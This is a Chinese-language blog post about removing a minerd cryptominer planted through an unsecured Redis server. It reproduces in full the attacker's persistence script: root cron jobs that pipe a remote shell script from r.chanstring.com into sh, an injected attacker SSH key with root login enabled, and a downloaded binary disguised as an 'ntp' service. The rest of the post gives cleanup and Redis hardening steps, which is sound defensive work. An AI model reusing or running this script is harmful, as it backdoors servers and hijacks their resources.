redis后门导致被挖矿minerd解决办法

dthre

在服务器中执行 top 查询，发现有minerd进程占用CPU达到90%多；

ps -aux|grep minerd   #直接kill掉该进程，发现十几秒中又起来的，重复几次发现kill不掉！！

重现找原因，在计划任务“ crontab -l”发现有个网络端的执行脚本操作；


发现该进程的计划任务，同时复制该链接，可以下载该脚本，脚本内容如下：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
      mkdir -p ~/.ssh
      rm -f ~/.ssh/authorized_keys*
      echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
      echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
      echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
      echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
      echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
      /etc/init.d/sshd restart
fi

if [ ! -f "/etc/init.d/ntp" ]; then
      if [ ! -f "/etc/systemd/system/ntp.service" ]; then
            mkdir -p /opt
            curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
      fi
fi

/etc/init.d/ntp start

ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9


执行crontab -r 清除计划任务，并重启crond服务；    #此时发现还是没有用，该进程在kill掉，依然自动重启消耗CPU；继续查找原因

开始从脚本下手：
1、chmod -x minerd    #先将该命令的执行权限去掉，先不要不要删除，否则还会自动生成；
2、kill 掉minerd的进程；
3、删除KHK75NEOiq33 和minerd文件在同一目录下

4、删除 /var/spool/cron/root  和 /var/spool/cron/crontabs/root 脚本文件；
5、去sshd的主配置文件中将脚本中追加的内容删除：
      echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
      echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
      echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
      echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
删除后，重启sshd服务；
6、删除  ~/.ssh/KHK75NEOiq ；
7、后来在/etc/init.d/ 发现可以服务ntp ，该木马程序注册了一个“ntp”的服务，而且还是开机启动,这里的ntp并非时间服务器的启动脚本；
/etc/init.d/ntp stop   #停掉服务，设置不要开机自启；  
chkconfig ntp off   #删除开机自启；  
完成之后删除ntp 文件；
8、删除  minerd文件

此时在观察，挖矿minerd已经不再重启了，CPU使用了恢复正常！

解决minerd并不是最终的目的，主要是要查找问题根源，我的服务器问题出在了redis服务了，黑客利用了redis的一个漏洞获得了服务器的访问权限，
参见连接：http://blog.jobbole.com/94518/
然后就注入了病毒；

下面是解决办法和清除工作

1. 修复 redis 的后门,

•     配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
  
•     配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
  
•     配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
  
•     好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如conf
  
  

2. 打开 ~/.ssh/authorized_keys,  有的是known_hosts文件， 删除你不认识的账号

3. 查看你的用户列表，是不是有你不认识的用户添加进来。 如果有就删除掉.

这里仔细分析这个脚本就可以解决这个挖矿minerd漏洞，主要在根本上解决，做好redis的安全工作！